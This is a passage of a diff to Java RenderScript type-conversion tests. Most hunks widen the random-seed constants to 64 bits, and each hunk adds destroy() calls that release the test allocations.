             verifyResultsConvertUint3Double3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertDouble3Uint3Double3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertUint3Double3(Allocation inV, Allocation out, boolean relaxed) {
@@ -18003,11 +18781,12 @@
     }
 
     private void checkConvertUint4Double4() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_32, 4, 0xec9f04f9l, false, 32);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_32, 4, 0x414bd2cdec9f04f9l, false, 32);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_64, 4), INPUTSIZE);
             script.forEach_testConvertDouble4Uint4Double4(inV, out);
             verifyResultsConvertUint4Double4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertDouble4Uint4Double4: " + e.toString());
         }
@@ -18015,9 +18794,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_64, 4), INPUTSIZE);
             scriptRelaxed.forEach_testConvertDouble4Uint4Double4(inV, out);
             verifyResultsConvertUint4Double4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertDouble4Uint4Double4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertUint4Double4(Allocation inV, Allocation out, boolean relaxed) {
@@ -18077,11 +18858,12 @@
     }
 
     private void checkConvertFloat2Long2() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_32, 2, 0x7d7c0ae0l, -9.2233714870989619200e+18, 9.2233714870989619200e+18);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_32, 2, 0x239cb49c7d7c0ae0l, -9.2233714870989619200e+18, 9.2233714870989619200e+18);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_64, 2), INPUTSIZE);
             script.forEach_testConvertLong2Float2Long2(inV, out);
             verifyResultsConvertFloat2Long2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertLong2Float2Long2: " + e.toString());
         }
@@ -18089,9 +18871,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_64, 2), INPUTSIZE);
             scriptRelaxed.forEach_testConvertLong2Float2Long2(inV, out);
             verifyResultsConvertFloat2Long2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertLong2Float2Long2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertFloat2Long2(Allocation inV, Allocation out, boolean relaxed) {
@@ -18145,11 +18929,12 @@
     }
 
     private void checkConvertFloat3Long3() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_32, 3, 0xdc83cfd4l, -9.2233714870989619200e+18, 9.2233714870989619200e+18);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_32, 3, 0x239cbf3ddc83cfd4l, -9.2233714870989619200e+18, 9.2233714870989619200e+18);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_64, 3), INPUTSIZE);
             script.forEach_testConvertLong3Float3Long3(inV, out);
             verifyResultsConvertFloat3Long3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertLong3Float3Long3: " + e.toString());
         }
@@ -18157,9 +18942,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_64, 3), INPUTSIZE);
             scriptRelaxed.forEach_testConvertLong3Float3Long3(inV, out);
             verifyResultsConvertFloat3Long3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertLong3Float3Long3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertFloat3Long3(Allocation inV, Allocation out, boolean relaxed) {
@@ -18213,11 +19000,12 @@
     }
 
     private void checkConvertFloat4Long4() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_32, 4, 0x3b8b94c8l, -9.2233714870989619200e+18, 9.2233714870989619200e+18);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_32, 4, 0x239cc9df3b8b94c8l, -9.2233714870989619200e+18, 9.2233714870989619200e+18);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_64, 4), INPUTSIZE);
             script.forEach_testConvertLong4Float4Long4(inV, out);
             verifyResultsConvertFloat4Long4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertLong4Float4Long4: " + e.toString());
         }
@@ -18225,9 +19013,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_64, 4), INPUTSIZE);
             scriptRelaxed.forEach_testConvertLong4Float4Long4(inV, out);
             verifyResultsConvertFloat4Long4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertLong4Float4Long4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertFloat4Long4(Allocation inV, Allocation out, boolean relaxed) {
@@ -18286,11 +19076,12 @@
     }
 
     private void checkConvertChar2Long2() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_8, 2, 0x290be220l, true, 7);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_8, 2, 0xd86189bc290be220l, true, 7);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_64, 2), INPUTSIZE);
             script.forEach_testConvertLong2Char2Long2(inV, out);
             verifyResultsConvertChar2Long2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertLong2Char2Long2: " + e.toString());
         }
@@ -18298,9 +19089,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_64, 2), INPUTSIZE);
             scriptRelaxed.forEach_testConvertLong2Char2Long2(inV, out);
             verifyResultsConvertChar2Long2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertLong2Char2Long2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertChar2Long2(Allocation inV, Allocation out, boolean relaxed) {
@@ -18354,11 +19147,12 @@
     }
 
     private void checkConvertChar3Long3() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_8, 3, 0x8813a714l, true, 7);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_8, 3, 0xd861945d8813a714l, true, 7);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_64, 3), INPUTSIZE);
             script.forEach_testConvertLong3Char3Long3(inV, out);
             verifyResultsConvertChar3Long3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertLong3Char3Long3: " + e.toString());
         }
@@ -18366,9 +19160,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_64, 3), INPUTSIZE);
             scriptRelaxed.forEach_testConvertLong3Char3Long3(inV, out);
             verifyResultsConvertChar3Long3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertLong3Char3Long3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertChar3Long3(Allocation inV, Allocation out, boolean relaxed) {
@@ -18422,11 +19218,12 @@
     }
 
     private void checkConvertChar4Long4() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_8, 4, 0xe71b6c08l, true, 7);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_8, 4, 0xd8619efee71b6c08l, true, 7);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_64, 4), INPUTSIZE);
             script.forEach_testConvertLong4Char4Long4(inV, out);
             verifyResultsConvertChar4Long4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertLong4Char4Long4: " + e.toString());
         }
@@ -18434,9 +19231,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_64, 4), INPUTSIZE);
             scriptRelaxed.forEach_testConvertLong4Char4Long4(inV, out);
             verifyResultsConvertChar4Long4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertLong4Char4Long4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertChar4Long4(Allocation inV, Allocation out, boolean relaxed) {
@@ -18495,11 +19294,12 @@
     }
 
     private void checkConvertUchar2Long2() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_8, 2, 0xbb8deea1l, false, 8);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_8, 2, 0x7fef4309bb8deea1l, false, 8);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_64, 2), INPUTSIZE);
             script.forEach_testConvertLong2Uchar2Long2(inV, out);
             verifyResultsConvertUchar2Long2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertLong2Uchar2Long2: " + e.toString());
         }
@@ -18507,9 +19307,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_64, 2), INPUTSIZE);
             scriptRelaxed.forEach_testConvertLong2Uchar2Long2(inV, out);
             verifyResultsConvertUchar2Long2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertLong2Uchar2Long2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertUchar2Long2(Allocation inV, Allocation out, boolean relaxed) {
@@ -18563,11 +19365,12 @@
     }
 
     private void checkConvertUchar3Long3() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_8, 3, 0x1a95b395l, false, 8);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_8, 3, 0x7fef4dab1a95b395l, false, 8);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_64, 3), INPUTSIZE);
             script.forEach_testConvertLong3Uchar3Long3(inV, out);
             verifyResultsConvertUchar3Long3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertLong3Uchar3Long3: " + e.toString());
         }
@@ -18575,9 +19378,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_64, 3), INPUTSIZE);
             scriptRelaxed.forEach_testConvertLong3Uchar3Long3(inV, out);
             verifyResultsConvertUchar3Long3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertLong3Uchar3Long3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertUchar3Long3(Allocation inV, Allocation out, boolean relaxed) {
@@ -18631,11 +19436,12 @@
     }
 
     private void checkConvertUchar4Long4() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_8, 4, 0x799d7889l, false, 8);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_8, 4, 0x7fef584c799d7889l, false, 8);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_64, 4), INPUTSIZE);
             script.forEach_testConvertLong4Uchar4Long4(inV, out);
             verifyResultsConvertUchar4Long4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertLong4Uchar4Long4: " + e.toString());
         }
@@ -18643,9 +19449,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_64, 4), INPUTSIZE);
             scriptRelaxed.forEach_testConvertLong4Uchar4Long4(inV, out);
             verifyResultsConvertUchar4Long4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertLong4Uchar4Long4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertUchar4Long4(Allocation inV, Allocation out, boolean relaxed) {
@@ -18704,11 +19512,12 @@
     }
 
     private void checkConvertShort2Long2() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_16, 2, 0x69c97ce4l, true, 15);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_16, 2, 0x68ab674669c97ce4l, true, 15);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_64, 2), INPUTSIZE);
             script.forEach_testConvertLong2Short2Long2(inV, out);
             verifyResultsConvertShort2Long2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertLong2Short2Long2: " + e.toString());
         }
@@ -18716,9 +19525,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_64, 2), INPUTSIZE);
             scriptRelaxed.forEach_testConvertLong2Short2Long2(inV, out);
             verifyResultsConvertShort2Long2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertLong2Short2Long2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertShort2Long2(Allocation inV, Allocation out, boolean relaxed) {
@@ -18772,11 +19583,12 @@
     }
 
     private void checkConvertShort3Long3() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_16, 3, 0xc8d141d8l, true, 15);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_16, 3, 0x68ab71e7c8d141d8l, true, 15);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_64, 3), INPUTSIZE);
             script.forEach_testConvertLong3Short3Long3(inV, out);
             verifyResultsConvertShort3Long3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertLong3Short3Long3: " + e.toString());
         }
@@ -18784,9 +19596,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_64, 3), INPUTSIZE);
             scriptRelaxed.forEach_testConvertLong3Short3Long3(inV, out);
             verifyResultsConvertShort3Long3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertLong3Short3Long3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertShort3Long3(Allocation inV, Allocation out, boolean relaxed) {
@@ -18840,11 +19654,12 @@
     }
 
     private void checkConvertShort4Long4() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_16, 4, 0x27d906ccl, true, 15);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_16, 4, 0x68ab7c8927d906ccl, true, 15);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_64, 4), INPUTSIZE);
             script.forEach_testConvertLong4Short4Long4(inV, out);
             verifyResultsConvertShort4Long4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertLong4Short4Long4: " + e.toString());
         }
@@ -18852,9 +19667,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_64, 4), INPUTSIZE);
             scriptRelaxed.forEach_testConvertLong4Short4Long4(inV, out);
             verifyResultsConvertShort4Long4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertLong4Short4Long4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertShort4Long4(Allocation inV, Allocation out, boolean relaxed) {
@@ -18913,11 +19730,12 @@
     }
 
     private void checkConvertUshort2Long2() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_16, 2, 0x5a1968fl, false, 16);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_16, 2, 0x8d79874e05a1968fl, false, 16);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_64, 2), INPUTSIZE);
             script.forEach_testConvertLong2Ushort2Long2(inV, out);
             verifyResultsConvertUshort2Long2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertLong2Ushort2Long2: " + e.toString());
         }
@@ -18925,9 +19743,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_64, 2), INPUTSIZE);
             scriptRelaxed.forEach_testConvertLong2Ushort2Long2(inV, out);
             verifyResultsConvertUshort2Long2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertLong2Ushort2Long2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertUshort2Long2(Allocation inV, Allocation out, boolean relaxed) {
@@ -18981,11 +19801,12 @@
     }
 
     private void checkConvertUshort3Long3() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_16, 3, 0x64a95b83l, false, 16);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_16, 3, 0x8d7991ef64a95b83l, false, 16);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_64, 3), INPUTSIZE);
             script.forEach_testConvertLong3Ushort3Long3(inV, out);
             verifyResultsConvertUshort3Long3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertLong3Ushort3Long3: " + e.toString());
         }
@@ -18993,9 +19814,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_64, 3), INPUTSIZE);
             scriptRelaxed.forEach_testConvertLong3Ushort3Long3(inV, out);
             verifyResultsConvertUshort3Long3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertLong3Ushort3Long3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertUshort3Long3(Allocation inV, Allocation out, boolean relaxed) {
@@ -19049,11 +19872,12 @@
     }
 
     private void checkConvertUshort4Long4() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_16, 4, 0xc3b12077l, false, 16);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_16, 4, 0x8d799c90c3b12077l, false, 16);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_64, 4), INPUTSIZE);
             script.forEach_testConvertLong4Ushort4Long4(inV, out);
             verifyResultsConvertUshort4Long4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertLong4Ushort4Long4: " + e.toString());
         }
@@ -19061,9 +19885,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_64, 4), INPUTSIZE);
             scriptRelaxed.forEach_testConvertLong4Ushort4Long4(inV, out);
             verifyResultsConvertUshort4Long4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertLong4Ushort4Long4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertUshort4Long4(Allocation inV, Allocation out, boolean relaxed) {
@@ -19122,11 +19948,12 @@
     }
 
     private void checkConvertInt2Long2() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_32, 2, 0x8a45cb5dl, true, 31);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_32, 2, 0xd74f538b8a45cb5dl, true, 31);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_64, 2), INPUTSIZE);
             script.forEach_testConvertLong2Int2Long2(inV, out);
             verifyResultsConvertInt2Long2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertLong2Int2Long2: " + e.toString());
         }
@@ -19134,9 +19961,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_64, 2), INPUTSIZE);
             scriptRelaxed.forEach_testConvertLong2Int2Long2(inV, out);
             verifyResultsConvertInt2Long2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertLong2Int2Long2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertInt2Long2(Allocation inV, Allocation out, boolean relaxed) {
@@ -19190,11 +20019,12 @@
     }
 
     private void checkConvertInt3Long3() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_32, 3, 0xe94d9051l, true, 31);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_32, 3, 0xd74f5e2ce94d9051l, true, 31);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_64, 3), INPUTSIZE);
             script.forEach_testConvertLong3Int3Long3(inV, out);
             verifyResultsConvertInt3Long3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertLong3Int3Long3: " + e.toString());
         }
@@ -19202,9 +20032,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_64, 3), INPUTSIZE);
             scriptRelaxed.forEach_testConvertLong3Int3Long3(inV, out);
             verifyResultsConvertInt3Long3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertLong3Int3Long3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertInt3Long3(Allocation inV, Allocation out, boolean relaxed) {
@@ -19258,11 +20090,12 @@
     }
 
     private void checkConvertInt4Long4() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_32, 4, 0x48555545l, true, 31);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_32, 4, 0xd74f68ce48555545l, true, 31);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_64, 4), INPUTSIZE);
             script.forEach_testConvertLong4Int4Long4(inV, out);
             verifyResultsConvertInt4Long4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertLong4Int4Long4: " + e.toString());
         }
@@ -19270,9 +20103,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_64, 4), INPUTSIZE);
             scriptRelaxed.forEach_testConvertLong4Int4Long4(inV, out);
             verifyResultsConvertInt4Long4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertLong4Int4Long4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertInt4Long4(Allocation inV, Allocation out, boolean relaxed) {
@@ -19331,11 +20166,12 @@
     }
 
     private void checkConvertUint2Long2() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_32, 2, 0x87b9ef60l, false, 32);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_32, 2, 0xe71d0a7587b9ef60l, false, 32);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_64, 2), INPUTSIZE);
             script.forEach_testConvertLong2Uint2Long2(inV, out);
             verifyResultsConvertUint2Long2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertLong2Uint2Long2: " + e.toString());
         }
@@ -19343,9 +20179,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_64, 2), INPUTSIZE);
             scriptRelaxed.forEach_testConvertLong2Uint2Long2(inV, out);
             verifyResultsConvertUint2Long2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertLong2Uint2Long2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertUint2Long2(Allocation inV, Allocation out, boolean relaxed) {
@@ -19399,11 +20237,12 @@
     }
 
     private void checkConvertUint3Long3() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_32, 3, 0xe6c1b454l, false, 32);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_32, 3, 0xe71d1516e6c1b454l, false, 32);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_64, 3), INPUTSIZE);
             script.forEach_testConvertLong3Uint3Long3(inV, out);
             verifyResultsConvertUint3Long3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertLong3Uint3Long3: " + e.toString());
         }
@@ -19411,9 +20250,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_64, 3), INPUTSIZE);
             scriptRelaxed.forEach_testConvertLong3Uint3Long3(inV, out);
             verifyResultsConvertUint3Long3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertLong3Uint3Long3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertUint3Long3(Allocation inV, Allocation out, boolean relaxed) {
@@ -19467,11 +20308,12 @@
     }
 
     private void checkConvertUint4Long4() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_32, 4, 0x45c97948l, false, 32);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_32, 4, 0xe71d1fb845c97948l, false, 32);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_64, 4), INPUTSIZE);
             script.forEach_testConvertLong4Uint4Long4(inV, out);
             verifyResultsConvertUint4Long4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertLong4Uint4Long4: " + e.toString());
         }
@@ -19479,9 +20321,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_64, 4), INPUTSIZE);
             scriptRelaxed.forEach_testConvertLong4Uint4Long4(inV, out);
             verifyResultsConvertUint4Long4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertLong4Uint4Long4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertUint4Long4(Allocation inV, Allocation out, boolean relaxed) {
@@ -19540,11 +20384,12 @@
     }
 
     private void checkConvertFloat2Ulong2() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_32, 2, 0x4ec4cff7l, 0.0000000000000000000e+00, 1.8446742974197923840e+19);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_32, 2, 0xfb52b5394ec4cff7l, 0.0000000000000000000e+00, 1.8446742974197923840e+19);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_64, 2), INPUTSIZE);
             script.forEach_testConvertUlong2Float2Ulong2(inV, out);
             verifyResultsConvertFloat2Ulong2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUlong2Float2Ulong2: " + e.toString());
         }
@@ -19552,9 +20397,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_64, 2), INPUTSIZE);
             scriptRelaxed.forEach_testConvertUlong2Float2Ulong2(inV, out);
             verifyResultsConvertFloat2Ulong2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUlong2Float2Ulong2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertFloat2Ulong2(Allocation inV, Allocation out, boolean relaxed) {
@@ -19608,11 +20455,12 @@
     }
 
     private void checkConvertFloat3Ulong3() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_32, 3, 0x44dff0d5l, 0.0000000000000000000e+00, 1.8446742974197923840e+19);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_32, 3, 0xfb547e5444dff0d5l, 0.0000000000000000000e+00, 1.8446742974197923840e+19);
         try {
